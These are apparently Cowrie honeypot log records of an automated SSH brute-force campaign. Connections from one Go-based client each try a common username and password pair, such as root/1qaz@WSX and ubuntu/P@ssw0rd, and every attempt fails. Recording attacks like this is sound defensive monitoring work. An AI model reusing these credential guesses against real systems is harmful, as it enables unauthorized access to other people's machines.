{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:55.686685Z","src_ip":"176.65.132.129","session":"55e0c87dd347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:56.007668Z","src_ip":"176.65.132.129","session":"55e0c87dd347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:57.094716Z","src_ip":"176.65.132.129","session":"55e0c87dd347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20223420dee","protocol":"telnet","message":"New connection: 45.58.127.90:39768 (10.17.0.5:23) [session: f20223420dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:57.235347Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35968,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e17ffa88998","protocol":"ssh","message":"New connection: 176.65.132.129:35968 (159.203.135.109:22) [session: 8e17ffa88998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:58.981492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:58.986096Z","src_ip":"176.65.132.129","session":"8e17ffa88998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:59.068011Z","src_ip":"176.65.132.129","session":"8e17ffa88998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:59.313475Z","src_ip":"176.65.132.129","session":"8e17ffa88998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:00.398772Z","src_ip":"176.65.132.129","session":"8e17ffa88998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35974,"dst_ip":"159.203.135.109","dst_port":22,"session":"436d54c618f8","protocol":"ssh","message":"New connection: 176.65.132.129:35974 (159.203.135.109:22) [session: 436d54c618f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:02.316128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:02.321885Z","src_ip":"176.65.132.129","session":"436d54c618f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:02.404819Z","src_ip":"176.65.132.129","session":"436d54c618f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.32043695449829,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:02.477459Z","src_ip":"45.58.127.90","session":"59dc4865e8ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:02.656347Z","src_ip":"176.65.132.129","session":"436d54c618f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:03.912822Z","src_ip":"176.65.132.129","session":"436d54c618f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55696,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f90fe74dd0","protocol":"ssh","message":"New connection: 176.65.132.129:55696 (159.203.135.109:22) [session: 83f90fe74dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:05.710944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:05.715287Z","src_ip":"176.65.132.129","session":"83f90fe74dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:05.798381Z","src_ip":"176.65.132.129","session":"83f90fe74dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:06.180345Z","src_ip":"176.65.132.129","session":"83f90fe74dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:07.271309Z","src_ip":"176.65.132.129","session":"83f90fe74dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55710,"dst_ip":"159.203.135.109","dst_port":22,"session":"5467a7994c0b","protocol":"ssh","message":"New connection: 176.65.132.129:55710 (159.203.135.109:22) [session: 5467a7994c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:09.187416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:09.192913Z","src_ip":"176.65.132.129","session":"5467a7994c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:09.275226Z","src_ip":"176.65.132.129","session":"5467a7994c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:09.527085Z","src_ip":"176.65.132.129","session":"5467a7994c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:10.612200Z","src_ip":"176.65.132.129","session":"5467a7994c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55718,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae0f4048a830","protocol":"ssh","message":"New connection: 176.65.132.129:55718 (159.203.135.109:22) [session: ae0f4048a830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:12.567676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:12.574373Z","src_ip":"176.65.132.129","session":"ae0f4048a830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:12.658082Z","src_ip":"176.65.132.129","session":"ae0f4048a830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:12.910403Z","src_ip":"176.65.132.129","session":"ae0f4048a830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:13.997465Z","src_ip":"176.65.132.129","session":"ae0f4048a830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43758,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76fb76ce2a4","protocol":"ssh","message":"New connection: 176.65.132.129:43758 (159.203.135.109:22) [session: e76fb76ce2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:16.043171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:16.047828Z","src_ip":"176.65.132.129","session":"e76fb76ce2a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:16.132400Z","src_ip":"176.65.132.129","session":"e76fb76ce2a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:16.382553Z","src_ip":"176.65.132.129","session":"e76fb76ce2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:17.469088Z","src_ip":"176.65.132.129","session":"e76fb76ce2a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43762,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1330e06fca7","protocol":"ssh","message":"New connection: 176.65.132.129:43762 (159.203.135.109:22) [session: d1330e06fca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:19.600234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:19.604531Z","src_ip":"176.65.132.129","session":"d1330e06fca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:19.688553Z","src_ip":"176.65.132.129","session":"d1330e06fca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:19.933599Z","src_ip":"176.65.132.129","session":"d1330e06fca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3621928691864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:20.088266Z","src_ip":"45.58.127.90","session":"9e4910c0a026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:21.021313Z","src_ip":"176.65.132.129","session":"d1330e06fca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43764,"dst_ip":"159.203.135.109","dst_port":22,"session":"5592b6633a53","protocol":"ssh","message":"New connection: 176.65.132.129:43764 (159.203.135.109:22) [session: 5592b6633a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:22.986561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:22.991832Z","src_ip":"176.65.132.129","session":"5592b6633a53","protocol":"ssh"}
